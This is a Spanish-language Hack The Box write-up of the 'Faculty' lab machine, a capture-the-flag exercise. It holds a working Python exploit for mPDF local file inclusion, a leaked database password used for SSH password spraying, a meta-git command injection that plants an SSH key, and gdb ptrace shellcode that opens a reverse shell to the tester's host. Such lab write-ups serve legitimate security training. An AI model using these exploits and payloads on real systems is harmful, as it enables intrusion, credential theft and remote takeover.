Table of Contents
Hack The Box: Faculty Writeup
Welcome to my detailed writeup of the medium difficulty machine “Faculty” on Hack The Box. This writeup will cover the steps taken to achieve initial foothold and escalation to root.
TCP Enumeration
1$ rustscan -a 10.129.227.208 --ulimit 5000 -g
210.129.227.208 -> [22,80]
1$ nmap -p22,80 -sCV 10.129.227.208 -oN allPorts
2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-12 12:28 CEST
3Nmap scan report for 10.129.227.208
4Host is up (0.036s latency).
5
6PORT STATE SERVICE VERSION
722/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
8| ssh-hostkey:
9| 3072 e9:41:8c:e5:54:4d:6f:14:98:76:16:e7:29:2d:02:16 (RSA)
10| 256 43:75:10:3e:cb:78:e9:52:0e:eb:cf:7f:fd:f6:6d:3d (ECDSA)
11|_ 256 c1:1c:af:76:2b:56:e8:b3:b8:8a:e9:69:73:7b:e6:f5 (ED25519)
1280/tcp open http nginx 1.18.0 (Ubuntu)
13|_http-title: Did not follow redirect to http://faculty.htb
14|_http-server-header: nginx/1.18.0 (Ubuntu)
15Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
16
17Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
18Nmap done: 1 IP address (1 host up) scanned in 7.81 seconds
UDP Enumeration
1$ sudo nmap --top-ports 1500 10.129.227.208 -sU --min-rate 5000 -n -Pn -oN allPorts.UDP
2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-12 12:29 CEST
3Nmap scan report for 10.129.227.208
4Host is up (0.036s latency).
5Not shown: 1495 open|filtered udp ports (no-response)
6PORT STATE SERVICE
7965/udp closed unknown
81046/udp closed wfremotertm
910080/udp closed amanda
1030932/udp closed unknown
1149168/udp closed unknown
12
13Nmap done: 1 IP address (1 host up) scanned in 0.83 seconds
Detectamos un dominio, faculty.htb
, lo añadimos al /etc/hosts
. Además solo vemos el puerto 80/TCP como punto de entrada.
HTTP Enumeration
Vemos que se está utilizando una especie de CMS por detrás.
Fuzzeando el sitio web encontramos un panel de inicio de sesión administrativo en /admin/login.php
Probando una inyección SQL básica para burlar este panel de autenticación funciona.
Local File Inclusion
En http://faculty.htb/admin/index.php?page=faculty
Detectamos varios usuarios, vamos a crear una lista de usuarios con estos.
Además vemos una función para generar reportes en PDF. Esto lo hemos visto en varias máquinas donde quizás, la librería/herramienta utilizándose por detrás para generar estos PDF’s tenga alguna vulnerabilidad. Así que vamos a revisar los metadatos
Le damos click y se nos redirecciona a una URL http://faculty.htb/mpdf/tmp/OKbUpf04MKEJugxPYIiF75kwHz.pdf
1$ exiftool pdf.pdf
2ExifTool Version Number : 12.57
3File Name : pdf.pdf
4Directory : .
5File Size : 1781 bytes
6File Modification Date/Time : 2024:08:12 10:42:56+02:00
7File Access Date/Time : 2024:08:12 12:42:31+02:00
8File Inode Change Date/Time : 2024:08:12 12:42:36+02:00
9File Permissions : -rw-r--r--
10File Type : PDF
11File Type Extension : pdf
12MIME Type : application/pdf
13PDF Version : 1.4
14Linearized : No
15Page Count : 1
16Page Layout : OneColumn
17Producer : mPDF 6.0
18Create Date : 2024:08:12 09:42:56+01:00
19Modify Date : 2024:08:12 09:42:56+01:00
En la columna Producer
vemos mPDF 6.0
Y vemos que existe un LFI asociado a esta herramienta, y que quizás sea vulnerable.
Revisando el exploit, debemos inyectar un payload el cual en la etiqueta annotation
se introduce el nombre del archivo que queremos incluir a la hora de generar el PDF, pero nos preguntamos, ¿Dónde incluimos este payload?
Con burpsuite
podemos interceptar las peticiones para hacernos una idea de como funciona por detrás. A la hora de generar el PDF, primero se realiza una petición POST a /admin/download.php
con una data.
Podemos hacer un base64 -d
a esta data y vemos un “churro” de información URL encodeada dos veces. Con CyberChef
podemos decodificar esta información para verla mejor.
Y lo que se tramita es la data en HTML para generar el PDF. Así que podríamos probar a inyectar el payload para el LFI aquí.
Con este PoC generamos el payload.
Ahora lo reemplazamos y me el nombre del archivo PDF generado.
Lo consultamos y viene un archivo adjunto, lo descargamos…
¡Y tenemos LFI!
1$ cat /home/pointedsec/Downloads/passwd | tail -n 10
2landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
3pollinate:x:110:1::/var/cache/pollinate:/bin/false
4sshd:x:111:65534::/run/sshd:/usr/sbin/nologin
5systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
6lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
7mysql:x:112:117:MySQL Server,,,:/nonexistent:/bin/false
8gbyolo:x:1000:1000:gbyolo:/home/gbyolo:/bin/bash
9postfix:x:113:119::/var/spool/postfix:/usr/sbin/nologin
10developer:x:1001:1002:,,,:/home/developer:/bin/bash
11usbmux:x:114:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
Automating the Local File Inclusion
Como el LFI es un poco tedioso, vamos a scriptearlo con Python.
Mientras estaba scripteando el LFI, me dí cuenta de que no se necesita una cookie de sesión como administrador para generar el PDF. Esto aumentaría la criticidad de la vulnerabilidad ya que podríamos conseguir LFI sin estar autenticados.
Este es el script
1#!/usr/bin/python3
2import requests
3from urllib.parse import quote
4from base64 import b64encode
5import PyPDF2
6from PyPDF2 import PdfReader
7import signal
8import os
9
10URL = "http://faculty.htb/admin/download.php"
11PDF_URL = "http://faculty.htb/mpdf/tmp/<FILENAME>"
12
13def def_handler(x,y):
14 print("[!] Saliendo")
15 os.system("rm temp.pdf")
16 exit(1)
17
18signal.signal(signal.SIGINT,def_handler)
19
20def extract_attachment_from_pdf(pdf_file):
21 with open(pdf_file, "rb") as f:
22 reader = PdfReader(f)
23
24 for page_num, page in enumerate(reader.pages):
25 if '/Annots' in page:
26 annotations = page['/Annots']
27 for annot in annotations:
28 annot_obj = annot.get_object()
29 if '/Subtype' in annot_obj and annot_obj['/Subtype'] == '/FileAttachment':
30 file_spec = annot_obj['/FS']
31 embedded_file = file_spec['/EF']['/F']
32 file_data = embedded_file.get_data()
33 file_name = file_spec['/F']
34
35 # Mostramos el contenido
36 print(file_data.decode('utf-8'))
37
38def payload_gen(fname):
39 payload = f'<annotation file="{fname}" content="{fname}" icon="Graph" title="Attached File: {fname}" pos-x="195" />'
40 encoded_payload = quote(payload)
41 base64enc = b64encode(encoded_payload.encode())
42 return base64enc
43
44def do_request(file):
45 headers = {
46 "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"
47 }
48 data = {
49 "pdf": payload_gen(file)
50 }
51 r = requests.post(URL, headers=headers, data=data)
52 return r.text.strip()
53
54def lfi():
55 file = input("Archivo: ")
56 url = PDF_URL.replace("<FILENAME>", do_request(file))
57 r = requests.get(url)
58
59 # Almacenamos el PDF temporalmente
60 with open("temp.pdf", "wb") as f:
61 f.write(r.content)
62
63 extract_attachment_from_pdf("temp.pdf")
64
65
66if __name__ == "__main__":
67 while True:
68 lfi()
Funcionamiento…
1$ python3 lfi.py
2Archivo: /etc/passwd
3root:x:0:0:root:/root:/bin/bash
4daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
5bin:x:2:2:bin:/bin:/usr/sbin/nologin
6sys:x:3:3:sys:/dev:/usr/sbin/nologin
7sync:x:4:65534:sync:/bin:/bin/sync
8games:x:5:60:games:/usr/games:/usr/sbin/nologin
9man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
10lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
11mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
12news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
13uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
14proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
15www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
16backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
17list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
18irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
19gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
20nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
21systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
22systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
23systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
24messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
25syslog:x:104:110::/home/syslog:/usr/sbin/nologin
26_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
27tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
28uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
29tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
30landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
31pollinate:x:110:1::/var/cache/pollinate:/bin/false
32sshd:x:111:65534::/run/sshd:/usr/sbin/nologin
33systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
34lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
35mysql:x:112:117:MySQL Server,,,:/nonexistent:/bin/false
36gbyolo:x:1000:1000:gbyolo:/home/gbyolo:/bin/bash
37postfix:x:113:119::/var/spool/postfix:/usr/sbin/nologin
38developer:x:1001:1002:,,,:/home/developer:/bin/bash
39usbmux:x:114:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
Vamos a añadir a los usuarios gbyolo
y developer
Foothold
Supongo que existirá una base de datos por detrás, así que mi meta es conseguir estas credenciales para ver si se están reutilizando con algún usuario.
Vamos a cargar el archivo index.php
que corresponde a /admin/index.php
1<!DOCTYPE html>
2<html lang="en">
3
4<?php session_start(); ?>
5<head>
6 <meta charset="utf-8">
7 <meta content="width=device-width, initial-scale=1.0" name="viewport">
8
9 <title>School Faculty Scheduling System</title>
10
11
12<?php
13 if(!isset($_SESSION['login_id']))
14 header('location:login.php');
15 include('./header.php');
16 // include('./auth.php');
17 ?>
18
19</head>
20<style>
21 body{
22 background: #80808045;
23 }
24 .modal-dialog.large {
25 width: 80% !important;
26 max-width: unset;
27 }
28 .modal-dialog.mid-large {
29 width: 50% !important;
30 max-width: unset;
31 }
32 #viewer_modal .btn-close {
33 position: absolute;
34 z-index: 999999;
35 /*right: -4.5em;*/
36 background: unset;
37 color: white;
38 border: unset;
39 font-size: 27px;
40 top: 0;
41}
42#viewer_modal .modal-dialog {
43 width: 80%;
44 max-width: unset;
45 height: calc(90%);
46 max-height: unset;
47}
48 #viewer_modal .modal-content {
49 background: black;
50 border: unset;
51 height: calc(100%);
52 display: flex;
53 align-items: center;
54 justify-content: center;
55 }
56 #viewer_modal img,#viewer_modal video{
57 max-height: calc(100%);
58 max-width: calc(100%);
59 }
60
61</style>
62
63<body>
64 <?php include 'topbar.php' ?>
65 <?php include 'navbar.php' ?>
66 <div class="toast" id="alert_toast" role="alert" aria-live="assertive" aria-atomic="true">
67 <div class="toast-body text-white">
68 </div>
69 </div>
70 <main id="view-panel" >
71 <?php $page = isset($_GET['page']) ? $_GET['page'] :'home';
72 $valid_pages = array("home", "courses", "subjects", "faculty", "schedule", "users");
73 $page = in_array($page, $valid_pages) ? $page : 'home'; ?>
74 <?php include $page.'.php' ?>
75
76
77 </main>
78
79 <div id="preloader"></div>
80 <a href="#" class="back-to-top"><i class="icofont-simple-up"></i></a>
81
82
83 <div class="modal fade" id="uni_modal" role='dialog'>
84 <div class="modal-dialog modal-md" role="document">
85 <div class="modal-content">
86 <div class="modal-header">
87 <h5 class="modal-title"></h5>
88 </div>
89 <div class="modal-body">
90 </div>
91 <div class="modal-footer">
92 <button type="button" class="btn btn-primary" id='submit' onclick="$('#uni_modal form').submit()">Save</button>
93 <button type="button" class="btn btn-secondary" data-dismiss="modal">Cancel</button>
94 </div>
95 </div>
96 </div>
97 </div>
98 <div class="modal fade" id="confirm_modal" role='dialog'>
99 <div class="modal-dialog modal-md" role="document">
100 <div class="modal-content">
101 <div class="modal-header">
102 <h5 class="modal-title">Confirmation</h5>
103 </div>
104 <div class="modal-body">
105 <div id="delete_content"></div>
106 </div>
107 <div class="modal-footer">
108 <button type="button" class="btn btn-primary" id='confirm' onclick="">Continue</button>
109 <button type="button" class="btn btn-secondary" data-dismiss="modal">Close</button>
110 </div>
111 </div>
112 </div>
113 </div>
114 <div class="modal fade" id="viewer_modal" role='dialog'>
115 <div class="modal-dialog modal-md" role="document">
116 <div class="modal-content">
117 <button type="button" class="btn-close" data-dismiss="modal"><span class="fa fa-times"></span></button>
118 <img src="" alt="">
119 </div>
120 </div>
121 </div>
122</body>
123<script>
124 window.start_load = function(){
125 $('body').prepend('<di id="preloader2"></di>')
126 }
127 window.end_load = function(){
128 $('#preloader2').fadeOut('fast', function() {
129 $(this).remove();
130 })
131 }
132 window.viewer_modal = function($src = ''){
133 start_load()
134 var t = $src.split('.')
135 t = t[1]
136 if(t =='mp4'){
137 var view = $("<video src='"+$src+"' controls autoplay></video>")
138 }else{
139 var view = $("<img src='"+$src+"' />")
140 }
141 $('#viewer_modal .modal-content video,#viewer_modal .modal-content img').remove()
142 $('#viewer_modal .modal-content').append(view)
143 $('#viewer_modal').modal({
144 show:true,
145 backdrop:'static',
146 keyboard:false,
147 focus:true
148 })
149 end_load()
150
151}
152 window.uni_modal = function($title = '' , $url='',$size=""){
153 start_load()
154 $.ajax({
155 url:$url,
156 error:err=>{
157 console.log()
158 alert("An error occured")
159 },
160 success:function(resp){
161 if(resp){
162 $('#uni_modal .modal-title').html($title)
163 $('#uni_modal .modal-body').html(resp)
164 if($size != ''){
165 $('#uni_modal .modal-dialog').addClass($size)
166 }else{
167 $('#uni_modal .modal-dialog').removeAttr("class").addClass("modal-dialog modal-md")
168 }
169 $('#uni_modal').modal({
170 show:true,
171 backdrop:'static',
172 keyboard:false,
173 focus:true
174 })
175 end_load()
176 }
177 }
178 })
179}
180window._conf = function($msg='',$func='',$params = []){
181 $('#confirm_modal #confirm').attr('onclick',$func+"("+$params.join(',')+")")
182 $('#confirm_modal .modal-body').html($msg)
183 $('#confirm_modal').modal('show')
184 }
185 window.alert_toast= function($msg = 'TEST',$bg = 'success'){
186 $('#alert_toast').removeClass('bg-success')
187 $('#alert_toast').removeClass('bg-danger')
188 $('#alert_toast').removeClass('bg-info')
189 $('#alert_toast').removeClass('bg-warning')
190
191 if($bg == 'success')
192 $('#alert_toast').addClass('bg-success')
193 if($bg == 'danger')
194 $('#alert_toast').addClass('bg-danger')
195 if($bg == 'info')
196 $('#alert_toast').addClass('bg-info')
197 if($bg == 'warning')
198 $('#alert_toast').addClass('bg-warning')
199 $('#alert_toast .toast-body').html($msg)
200 $('#alert_toast').toast({delay:3000}).toast('show');
201 }
202 $(document).ready(function(){
203 $('#preloader').fadeOut('fast', function() {
204 $(this).remove();
205 })
206 })
207 $('.datetimepicker').datetimepicker({
208 format:'Y/m/d H:i',
209 startDate: '+3d'
210 })
211 $('.select2').select2({
212 placeholder:"Please select here",
213 width: "100%"
214 })
215</script>
216</html>
De este archivo podemos comprobar el archivo topbar.php
Podemos saltar al archivo manage_user.php
Y en este archivo vemos que se incluye un archivo db_connect.php
que probablemente tenga credenciales de base de datos.
1include('db_connect.php');
2session_start();
3if(isset($_GET['id'])){
4$user = $conn->query("SELECT * FROM users where id =".mysql_real_escape_string($_GET['id']));
db_connect.php
1<?php
2
3$conn= new mysqli('localhost','sched','Co.met06aci.dly53ro.per','scheduling_db')or die("Could not connect to mysql".mysqli_error($con));
Y con hydra
podemos hacer password spraying a todos los usuarios..
1$ hydra -L users.txt -p 'Co.met06aci.dly53ro.per' 10.129.227.208 ssh
2Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
3
4Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-08-12 13:25:17
5[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
6[DATA] max 6 tasks per 1 server, overall 6 tasks, 6 login tries (l:6/p:1), ~1 try per task
7[DATA] attacking ssh://10.129.227.208:22/
8[22][ssh] host: 10.129.227.208 login: gbyolo password: Co.met06aci.dly53ro.per
91 of 1 target successfully completed, 1 valid password found
10Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-08-12 13:25:20
Y podemos acceder por SSH como el usuario gbyolo
1$ sshpass -p 'Co.met06aci.dly53ro.per' ssh gbyolo@10.129.227.208
2Welcome to Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-121-generic x86_64)
3
4 * Documentation: https://help.ubuntu.com
5 * Management: https://landscape.canonical.com
6 * Support: https://ubuntu.com/advantage
7
8 System information as of Mon Aug 12 11:26:43 CEST 2024
9
10 System load: 0.03
11 Usage of /: 75.2% of 4.67GB
12 Memory usage: 36%
13 Swap usage: 0%
14 Processes: 226
15 Users logged in: 0
16 IPv4 address for eth0: 10.129.227.208
17 IPv6 address for eth0: dead:beef::250:56ff:fe94:8329
18
19
200 updates can be applied immediately.
21
22
23The list of available updates is more than a week old.
24To check for new updates run: sudo apt update
25Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
26
27
28You have mail.
29gbyolo@faculty:~$ id
30uid=1000(gbyolo) gid=1000(gbyolo) groups=1000(gbyolo)
La flag de usuario no está en el directorio personal de trabajo de gbyolo
así que supongo que deberemos migrar al usuario developer
User Pivoting
Si revisamos los mails de este usuario, encontramos un mail de developer
diciendo que tenemos acceso para gestionar los repositorios git del grupo de la facultad
1gbyolo@faculty:/home$ mail
2"/var/mail/gbyolo": 1 message 1 unread
3>U 1 developer@faculty. Tue Nov 10 15:03 16/623 Faculty group
4?
5Return-Path: <developer@faculty.htb>
6X-Original-To: gbyolo@faculty.htb
7Delivered-To: gbyolo@faculty.htb
8Received: by faculty.htb (Postfix, from userid 1001)
9 id 0399E26125A; Tue, 10 Nov 2020 15:03:02 +0100 (CET)
10Subject: Faculty group
11To: <gbyolo@faculty.htb>
12X-Mailer: mail (GNU Mailutils 3.7)
13Message-Id: <20201110140302.0399E26125A@faculty.htb>
14Date: Tue, 10 Nov 2020 15:03:02 +0100 (CET)
15From: developer@faculty.htb
16X-IMAPbase: 1605016995 2
17Status: O
18X-UID: 1
19
20Hi gbyolo, you can now manage git repositories belonging to the faculty group. Please check and if you have troubles just let me know!\ndeveloper@faculty.htb
Con sudo -l
podemos ver que tenemos permisos para ejecutar como el usuario developer
el binario /usr/local/bin/meta-git
1gbyolo@faculty:/home$ sudo -l
2[sudo] password for gbyolo:
3Matching Defaults entries for gbyolo on faculty:
4 env_reset, mail_badpass,
5 secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
6
7User gbyolo may run the following commands on faculty:
8 (developer) /usr/local/bin/meta-git
Y podemos ver que es un enlace simbólico a ../lib/node_modules/meta-git/bin/meta-git
1/usr/local/bin/meta-git: symbolic link to ../lib/node_modules/meta-git/bin/meta-git
Command Injection
Investigando encontramos que hay una forma de ejecutar comandos utilizando este módulo de node. https://hackerone.com/reports/728040
Podemos ver que efectivamente, podemos inyectar un comando.
1gbyolo@faculty:/tmp$ sudo -u developer /usr/local/bin/meta-git clone 'test||id'
2meta git cloning into 'test||id' at test||id
3
4test||id:
5fatal: repository 'test' does not exist
6id: ‘test’: no such user
7uid=1001(developer) gid=1002(developer) groups=1002(developer),1001(debug),1003(faculty)
8...
Ahora, podemos copiar nuestra clave pública al /home/developer/.ssh/authorized_keys
para poder acceder por SSH como este usuario.
1gbyolo@faculty:/tmp$ sudo -u developer /usr/local/bin/meta-git clone 'test||echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCs/aNkke9LIHvwrIqFLiLavlSa5gVzvG6EibfhsRDbRY0DLzVMaWw2TmVJ/sjcWBg7DqGFJaJ70cqh7rCX9WYQnUTQUoo2yQ4yRG6UxDOEzD6Yt2JbxEZdsZqX7S1NY33zv9vt......." > /home/developer/.ssh/authorized_keys'
Y ya hemos migrado de usuario.
1$ ssh developer@10.129.227.208
2Welcome to Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-121-generic x86_64)
3
4 * Documentation: https://help.ubuntu.com
5 * Management: https://landscape.canonical.com
6 * Support: https://ubuntu.com/advantage
7
8 System information as of Mon Aug 12 11:39:29 CEST 2024
9
10 System load: 0.01
11 Usage of /: 75.4% of 4.67GB
12 Memory usage: 39%
13 Swap usage: 0%
14 Processes: 230
15 Users logged in: 1
16 IPv4 address for eth0: 10.129.227.208
17 IPv6 address for eth0: dead:beef::250:56ff:fe94:8329
18
19
200 updates can be applied immediately.
21
22
23The list of available updates is more than a week old.
24To check for new updates run: sudo apt update
25Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
26
27
28developer@faculty:~$ id
29uid=1001(developer) gid=1002(developer) groups=1002(developer),1001(debug),1003(faculty)
Y podemos leer la flag
1developer@faculty:~$ cat user.txt
2d2dcd829adb758f...
Privilege Escalation
Podemos descubrir que tenemos permisos de grupo para ejecutar gdb
1developer@faculty:~$ find / -type f -group debug 2>/dev/null
2/usr/bin/gdb
3developer@faculty:~$ ls -la /usr/bin/gdb
4-rwxr-x--- 1 root debug 8440200 Dec 8 2021 /usr/bin/gdb
Pero no tenemos permiso SUID en el binario.
Pero listando capabilities…
1developer@faculty:~$ getcap -r / 2>/dev/null
2/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
3/usr/bin/gdb = cap_sys_ptrace+ep
4/usr/bin/ping = cap_net_raw+ep
5/usr/bin/traceroute6.iputils = cap_net_raw+ep
6/usr/bin/mtr-packet = cap_net_raw+ep
Abusing SYS_PTRACE
La capacidad CAP_SYS_PTRACE
en Linux es una capacidad del kernel que otorga permisos especiales relacionados con la depuración y la inspección de procesos. Aquí te explico qué te permite hacer:
1. Depuración de Procesos
- Permite que un proceso trace o depure otros procesos. Esto incluye el uso de herramientas como
gdb
,strace
, optrace
, que son fundamentales para depurar programas o monitorear su ejecución. - Normalmente, un proceso sólo puede depurar (trazar) a otro proceso si es hijo suyo o si ambos procesos tienen el mismo ID de usuario efectivo. Con
CAP_SYS_PTRACE
, este requisito se relaja, permitiendo que un proceso con esta capacidad pueda depurar cualquier otro proceso en el sistema, independientemente del propietario.
2. Acceso a la Memoria y Estado de Otros Procesos
- Con
CAP_SYS_PTRACE
, un proceso puede acceder y modificar la memoria de otros procesos, lo cual es esencial para herramientas de inyección de código o para manipular el estado de ejecución de otro proceso. - También permite inspeccionar o alterar registros y otros estados internos de un proceso.
3. Acciones Avanzadas de Depuración
- La capacidad permite otras acciones avanzadas relacionadas con la depuración, como la manipulación de breakpoints y la captura de señales antes de que lleguen al proceso depurado.
4. Saltarse Restricciones de Seguridad
CAP_SYS_PTRACE
también permite que un proceso pase por alto ciertas restricciones de seguridad. Por ejemplo, podría leer datos de procesos que de otro modo no estarían accesibles debido a las políticas de control de acceso.
Riesgos de Seguridad
- Elevado potencial de abuso: Debido a que permite acceso completo a otros procesos, esta capacidad representa un riesgo de seguridad significativo si se concede a un proceso no confiable, ya que podría ser usada para robar datos, modificar el comportamiento de aplicaciones, o incluso para escalar privilegios en el sistema.
- Uso limitado a procesos de confianza: Por estas razones,
CAP_SYS_PTRACE
generalmente se limita a procesos confiables, como depuradores, o administradores de sistemas que necesitan realizar tareas específicas de diagnóstico.
En resumen, que aprovechándonos de esta capability podemos escalar privilegios ya que se nos permite adjuntar gdb
a un proceso que esté ejecutando root
y acto seguido modificar la memoria para conseguir ejecutar un comando a nivel de sistema.
Hay un artículo en HackTricks que justo contempla este caso.
Creamos nuestro shellcode para mandarnos una reverse shell.
1$ msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.13 LPORT=443 -f py -o revshell.py
2[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
3[-] No arch selected, selecting arch: x64 from the payload
4No encoder specified, outputting raw payload
5Payload size: 74 bytes
6Final size of py file: 384 bytes
7Saved as: revshell.py
Utilizamos el script que se nos adjunta en HackTricks y simplemente modificamos el shellcode.
1$ python3 revshell.py
2set {long}($rip+0) = 0x296a909090909090
3set {long}($rip+8) = 0x5e016a5f026a9958
4set {long}($rip+16) = 0x0002b9489748050f
5set {long}($rip+24) = 0x48510d0e0a0abb01
6set {long}($rip+32) = 0x582a6a5a106ae689
7set {long}($rip+40) = 0xceff485e036a050f
8set {long}($rip+48) = 0x6af675050f58216a
9set {long}($rip+56) = 0x69622fbb4899583b
10set {long}($rip+64) = 0x8948530068732f6e
11set {long}($rip+72) = 0x050fe689485752e7
Ahora con ps aux | grep root
podemos buscar un proceso que sea de root
En mi caso elegiré el PID 1549 que corresponde a postfix.
1developer@faculty:~$ gdb -p 1549
Ahora copiamos y pegamos las líneas generadas anteriormente.
Nos ponemos en escucha con pwncat-cs
por el puerto 443.
Y si continuamos el flujo del programa..
1(gdb) c
Conseguimos la reverse shell como el usuario root
.
Podemos leer la flag de root
1(remote) root@faculty:/var/spool/postfix# cat /root/root.txt
2bdd86839ae249a272...
¡Y ya estaría!
Happy Hacking! 🚀
#HackTheBox #Faculty #Writeup #Cybersecurity #Penetration Testing #CTF #Reverse Shell #Privilege Escalation #RCE #Exploit #Linux #HTTP Enumeration #SQL Injection #Local File Inclusion #Python Scripting #Scripting #Information Leakage #Password Spraying #Command Injection #Abusing SYS_PTRACE